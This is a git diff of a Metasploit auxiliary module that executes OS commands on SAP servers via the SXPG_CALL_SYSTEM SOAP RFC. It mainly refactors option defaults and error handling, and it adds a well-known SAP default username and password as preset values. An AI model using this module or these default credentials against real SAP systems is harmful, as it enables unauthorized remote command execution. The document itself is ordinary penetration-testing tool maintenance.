diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system.rb
index e9b91af758..1a052dbfeb 100755
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system.rb
@@ -28,21 +28,30 @@ class Metasploit4 < Msf::Auxiliary
super(
'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Command Exec',
'Description' => %q{
- This module makes use of the SXPG_CALL_SYSTEM Remote Function Call (via SOAP)
- to execute OS commands as configured in SM69.
+ This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the
+ use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in
+ the SM69 transaction.
},
- 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
- 'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
- 'License' => BSD_LICENSE
- )
+ 'References' =>
+ [
+ [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
+ ],
+ 'Author' =>
+ [
+ 'Agnivesh Sathasivam',
+ 'nmonkee'
+ ],
+ 'License' => MSF_LICENSE
+ )
register_options(
[
- OptString.new('CLIENT', [true, 'Client', nil]),
- OptString.new('USERNAME', [true, 'Username', nil]),
- OptString.new('PASSWORD', [true, 'Password', nil]),
- OptString.new('CMD', [true, 'Command to be executed', nil]),
- OptString.new('PARAM', [false, 'Additional parameters', nil]),
- OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
+ Opt::RPORT(8000),
+ OptString.new('CLIENT', [true, 'SAP Client', '001']),
+ OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+ OptString.new('PASSWORD', [true, 'Password', '06071992']),
+ OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
+ OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]),
+ OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
], self.class)
end
@@ -82,8 +91,13 @@ class Metasploit4 < Msf::Auxiliary
# to do - implement error handlers for each status code, 404, 301, etc.
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
return
- else
- success = true
+ elsif res and res.body =~ /faultstring/
+ error = res.body.scan(%r{(.*?)})
+ 0.upto(error.length-1) do |i|
+ print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
+ end
+ return
+ elsif res
print_status("[SAP] #{ip}:#{rport} - got response")
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
@@ -93,26 +107,19 @@ class Metasploit4 < Msf::Auxiliary
'Indent' => 1,
'Columns' =>["Output",]
)
- response = res.body if res
- if response =~ /faultstring/
- error = response.scan(%r{(.*?)})
- success = false
- end
- output = response.scan(%r{([^<]+)}).flatten
+ output = res.body.scan(%r{([^<]+)}).flatten
for i in 0..output.length-1
saptbl << [output[i]]
end
+ print(saptbl.to_s)
+ else
+ print_error("[SAP] #{ip}:#{rport} - Unknown error")
+ return
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
- return false
- end
- if success
- print(saptbl.to_s)
- elsif !success
- 0.upto(error.length-1) do |i|
- print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
- end
+ return
end
+
end
end